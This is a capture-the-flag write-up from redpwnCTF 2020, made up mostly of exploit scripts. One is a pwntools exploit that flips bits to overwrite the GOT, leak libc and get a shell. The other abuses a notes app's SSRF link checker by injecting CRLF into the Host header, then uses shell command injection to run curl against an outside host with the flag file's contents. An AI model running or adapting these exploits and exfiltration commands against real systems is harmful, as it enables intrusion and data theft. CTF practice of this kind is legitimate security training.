redpwnCTF 2020

Start      End        Offset     Perm Path
0x08048000 0x08049000 0x00000000 r-- /home/justin/redpwn20/pwn/kevin/kevin-higgs
0x08049000 0x0804a000 0x00001000 r-x /home/justin/redpwn20/pwn/kevin/kevin-higgs
0x0804a000 0x0804b000 0x00002000 r-- /home/justin/redpwn20/pwn/kevin/kevin-higgs
0x0804b000 0x0804c000 0x00002000 r-- /home/justin/redpwn20/pwn/kevin/kevin-higgs
0x0804c000 0x0804d000 0x00003000 rw- /home/justin/redpwn20/pwn/kevin/kevin-higgs

from pwn import *
import itertools
import re

fname = './kevin-higgs'

context.log_level = "debug"

r = process(fname, env={
    "NUMBER_OF_FLIPS": "2"
})

# r = remote("2020.redpwnc.tf", 31956)

e = ELF(fname)
libc = ELF("libc-2.28.so")

def flip(pos, bit):
    r.sendlineafter("of the byte ", f'{pos:x}')
    r.sendlineafter("of the bit (0 to 7): ", str(bit))
    data = r.recvuntil("Give me").decode("utf8")
    if "[debug]" in data:
        m = re.search(r'your new byte: 0x([0-9a-zA-Z]{2})\n', data)

        returned = int(m.group(1), 16)
        original = returned ^ (1<<bit)

        log.debug(f'0x{pos:08x}: 0x{original:02x} -> 0x{returned:02x}')

        return original

def change_addr_val(addr, cur, target):
    flips = 0
    for i in range(32):
        byte_offset = i // 8

        # if bits differ, flip
        if (cur ^ target) & (1<<i):
            flip(addr + byte_offset, i % 8)
            flips += 1
    
    return flips

# for p in itertools.combinations(list(range(12)), 2):
#     address = 0x08049086 ^ ((1 << p[0]) | (1 << p[1]))
#     log.info(f'addr={hex(address)}')
#     log.info(disasm(r.leak(address, 64)))

# flip 08049086 into 080490d6, infinite wishes!
flip(e.got["exit"], 6)
flip(e.got["exit"], 4)

addr_debug = 0x804c090

# enable debug
flip(addr_debug, 0)
# flip a second time just to end this round
flip(addr_debug, 1)

def leak_u32(addr):
    leaked = bytearray()
    for i in range(4):
        leaked.append(flip(addr + i, 0))
        flip(addr + i, 0)

    return u32(leaked)

addr_setvbuf = leak_u32(e.got["setvbuf"])

log.info(f'setvbuf@got: {addr_setvbuf:08x}')

libc.address = addr_setvbuf - libc.symbols["setvbuf"]

log.info(f'libc base: {libc.address:08x}')

# leak address of environ, which is on the stack
addr_environ = leak_u32(libc.symbols["environ"])

log.info(f'environ: {addr_environ:08x}')

# at this point, by breaking and checking the stack in gdb, the variable controlling
# max number of flips is at address environ - 0xad8

bitflip = 6
# we flip the 6th bit so we now have 0x42 flips (minus one because we used one to actually flip the 6th bit)
flip(addr_environ - 0xad8, bitflip)

flips = (0x2 | (1<<bitflip)) - 1

addr_binsh = next(libc.search(b"/bin/sh"))
addr_system = libc.symbols["system"]

# flip(addr_environ - 0xafc, 7)
# flip(addr_environ - 0xaf8, 7)
# flip(addr_environ - 0xaf4, 7)
# flip(addr_environ - 0xaf0, 0)

# flips -= 3

# 0x080494ad : add esp, 0xc ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
# modify exit@got.plt to 0x080494ad

flips -= change_addr_val(e.got["exit"], cur=0x080490d6, target=0x080494ad)

# after stack items are cleared from the gadget above, the next 2 stack elements
# are treated as ip, ret address, arg0 respectively
addr_ip = addr_environ - 0xaf4
addr_param = addr_environ - 0xaec

flips -= change_addr_val(addr_ip, cur=leak_u32(addr_ip), target=addr_system)
flips -= change_addr_val(addr_param, cur=leak_u32(addr_param), target=addr_binsh)

flips -= 2 * 8 # 8 flips used to leak a 32 bit value

log.info(f'{flips} flips remaining')
while flips > 1:
    flip(addr_debug, 7)
    flips -= 1
    log.info(flips)

# one last flip to make before we hit exit
pos = 0x804c090
bit = 7
r.sendlineafter("of the byte ", f'{pos:x}')
r.sendlineafter("of the bit (0 to 7): ", str(bit))

r.interactive()

def get_note(nid):
    stdout, stderr = subprocess.Popen(f"cat 'notes/{nid}' || echo it did not work btw", shell = True, stdout = subprocess.PIPE, stderr = subprocess.PIPE, stdin = subprocess.PIPE).communicate()
    if stderr:
        print(stderr) # lemonthink
        return {}
    return {
        'success' : True,
        'title' : nid,
        'contents' : stdout.decode('utf-8', errors = 'ignore')
    }


def write_note(title, contents):
    nid = str(title)[:0xff]
    contents = str(contents)[:0xff]
    stdout, stderr = subprocess.Popen(f"cat > 'notes/{nid}'", shell = True, stdout = subprocess.PIPE, stderr = subprocess.PIPE, stdin = subprocess.PIPE).communicate(input = bytes(contents, 'utf-8'))
    print('made note:', stdout, stderr)
    return {
        'success' : True,
        'title' : nid,
        'contents' : contents
    }


@app.route('/')
def index():
    return 'pong'


@app.route('/api/v1/notes/', methods = ['GET', 'POST'])
def notes():
    ret_val = {'success':True}
    title = request.values['title']
    if 'contents' not in request.values: # reading note
        note = get_note(str(title)[:0xff])
        ret_val.update(note)
    else: # writing note
        contents = request.values['contents']
        ret_val.update(write_note(str(title)[:0xff], str(contents)))

    return json.dumps(ret_val)

@app.route('/notes/<nid>')
def notes(nid):
    try:
        n = Note.get(nid, port = BACKEND_PORT)
        return render_template('note.html', note = n)
    except:
        return render_template('error.html')

class Note:
    # XXX: no static typing? :(
    def get(nid, port = None):
        _host = API_HOST.format(port = port)
        json = jason
        note = json.loads(str(requests.post(_host + '/api/v1/notes/', data = {
            'title' : nid
        }, headers = {
            'Authorization' : ' '.join(['his name', 'is', 'john connor']), # obfuscate because our penetration test report said that hardocded secrets BAD
            'Connection' : 'close'
        }).text) or '{}') # url encoding is for noobs

        if note.get('success'):
            note['links'] = [x[0] for x in REEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE.findall(r'(https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&//=]*))', note['contents'])]

        ####print('got note', nid, ' : ', note)
        return note

@app.route('/check-links', methods = ['POST'])
def check_post():
    # check for broken links
    ret_val = dict()
    links = request.form.get('links')
    if isinstance(links, str):
        links = [links]
    for link in links:
        ret_val[link] = Note.check_link(link)
    return ret_val

def check_link(link):
        # XXX: we only support http links at the moment :(
        # XXX: what if someone wants to use domain spoofing characters? we don't support that...
        r = re.match(r'http://([^:]+)(:\d*)?(/.*)?', link, flags = 26)
        if not r:
            print('no bad link!!!', link)
            return False
        host, port, path = r.groups()
        
        ip = None
        try:
            # :thonkeng:
            ip = socket.gethostbyname(host)
        except:
            ip = host
            pass # eh we just want ip it doesnt really matter ig since it will be validated in next step

        # validate host
        try:
            # XXX: ipv6 and ipv8 support
            ip = re.match(r'(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})', ip).__getattribute__('groups')()[0]
        except Exception as PYTHON_SUCKS:
            print(PYTHON_SUCKS)
            print(host)
            print('bad ip address')
            return False

        # XXX: I CANT FIGURE OUT HOW TO MAKE HTTP HEAD REQUESTS FROM THE requests LIBRARY SO I AM DOING THIS BY MYSELF! DONT MOCK ME FOR """"""""""rEinVENtinG thE WheEL"""""""""".
        # :blobpat:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            port = int(str(port or 80).lstrip(':'))
            s.connect((ip, port))
            # XXX: this works and i dont know why
            # NOTE: there was a bug before where newlines in `path` could make all requests fail. Fixed based on jira ticket RCTF-1231
            wef=(b'HEAD ' + (path or '/').replace('\n', '%0A').encode('utf-8') + b' HTTP/1.1\r\nConnection: keep-alive\x0d\nHost: ' + host.encode('utf-8') + b'\r\nUser-Agent: archlinux\r\nAccept: */*\r\n\r\n') # python3 socket library go brrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr
            print(wef)
            s.send(wef)
            # XXX: i dont like the above code, it is bad
            # XXX: three months later: what does the above comment mean, i forgot
            print('waiting')
            # give it time to think
            import time as angstromCTF
            angstromCTF.kevin_higgs=angstromCTF.sleep
            angstromCTF.kevin_higgs(1337/300/4)
            # XXX: i read in *CODE COMPLETE* that magic numbers are bad TODO explain what this means?
            try:
                # XXX: idk how sockets work...
                s.settimeout(4)
            except:
                pass
            rEspONSe = s.recv(4096)
            if b'200 OK' in rEspONSe:
                s.close()
                return True
            s.close()
            return False

GET /favicon.ico HTTP/1.1
Host: localhost:8000
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: image/webp,image/apng,image/*,*/*;q=0.8
Referer: http://localhost:8000/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

HTTP/1.0 404 File not found
Server: SimpleHTTP/0.6 Python/3.8.0
Date: Fri, 26 Jun 2020 02:56:43 GMT
Connection: close
Content-Type: text/html;charset=utf-8
Content-Length: 469

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
        "http://www.w3.org/TR/html4/strict.dtd">
<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
        <title>Error response</title>
    </head>
    <body>
        <h1>Error response</h1>
        <p>Error code: 404</p>
        <p>Message: File not found.</p>
        <p>Error code explanation: HTTPStatus.NOT_FOUND - Nothing matches the given URI.</p>
    </body>
</html>

if __name__ == '__main__':
    backend_port = random.randint(50000, 51000)

    at = threading.Thread(target = api_server.start, args = (backend_port,))
    wt = threading.Thread(target = web_server.start, args = (backend_port,))

import requests
from urllib.parse import urljoin, quote_plus

HOST = "http://2020.redpwnc.tf:31957/"

# brute force to identify the port in use

# for port in range(50000, 51000):
#     link = f"http://localhost:{port}"
#     print(link)

#     r = requests.post(urljoin(HOST, "/check-links"), data={
#         "links": link
#     })

#     if "true" in r.text:
#         print(r.text)
#         break

# create payload
# everything between http:// and :50596 (port identified from previous step) is treated as the host
# when the server parses this payload, it connects to 127.0.0.1:50596 and sends the host string above
# as part of the "Host" header which we can abuse to inject arbitrary data
# we inject another HTTP request which exploits the command injection in
# `stdout, stderr = subprocess.Popen(f"cat 'notes/{nid}' || echo it did not work btw", shell = True, stdout = subprocess.PIPE, stderr = subprocess.PIPE, stdin = subprocess.PIPE).communicate()``
link = "http://127.0.0.1\r\n\r\nGET /api/v1/notes/?title=" + quote_plus("'; curl http://justins.in/`cat flag.txt` #") + " HTTP/1.1\r\n\r\n:50596"

r = requests.post(urljoin(HOST, "/check-links"), data={
    "links": link
})